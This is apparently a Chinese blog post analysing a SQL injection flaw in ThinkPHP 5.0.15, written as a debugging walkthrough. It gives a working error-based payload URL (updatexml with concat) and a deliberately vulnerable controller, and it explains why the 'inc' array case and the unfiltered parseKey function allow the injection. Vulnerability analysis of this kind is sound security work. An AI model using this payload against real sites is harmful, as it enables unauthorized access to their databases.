醉梦半醒的博客

thinkphp5.0_sql_injection分析

字数统计: 388阅读时长: 1 min
2019/08/04 Share

payload:

http://127.0.0.1/thinkphp5.0.15/public/index.php/index/index/index?password[0]=inc&password[1]=updatexml(1,concat(0x7e,version()),1)&password[2]=1

1
2
3
4
5
6
7
8
9
10
11
12
13
//index.php
<?php
namespace app\index\controller;
use think\Db;
class Index
{
public function index()
{
$password = input("get.password/a");
Db::table("user")->where(["id"=>1])->insert(["password"=>$password]);
return "ThinkPHP SQL Test.";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
\\thinkphp.sql
# Host: localhost (Version: 5.5.53)
# Date: 2019-07-15 10:10:05
# Generator: MySQL-Front 5.3 (Build 4.234)

/*!40101 SET NAMES utf8 */;

#
# Structure for table "user"
#

DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(50) DEFAULT NULL,
`password` varchar(50) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

#
# Data for table "user"
#

INSERT INTO `user` VALUES (1,'test','password');

get请求获取password,并且强制转换为数组类型

Thinkphp_sqlinjection1

为什么password传入的是数组,且需要三个元素?

第一个元素为inc,第二个为核心payload,第三个为必须?

xdebug调试:

Thinkphp_sqlinjection2

在Builder.php中,有一个switch,case的判断

判断数组的第一个元素为inc,进入case ‘inc’语句,利用parseKey函数转化第二个元素,floatval函数将第三个元素转化为返回变量 var 的 float 数值

可以看到变量$result[‘item’]返回的是updatexml(1,concat(0x7e,version()),1)+1

sql语句为:

Thinkphp_sqlinjection3

所以说第三个元素是必须的,但是数值大小没有关系

漏洞为什么会触发?

可以看到第二个元素为核心payload,经过parseKey函数return回来的

观察parseKey函数

Thinkphp_sqlinjection4

函数并未对传入的$key进行更多的过滤与检查,导致sql注入

CATALOG
  1. 1. 为什么password传入的是数组,且需要三个元素?
  2. 2. 漏洞为什么会触发?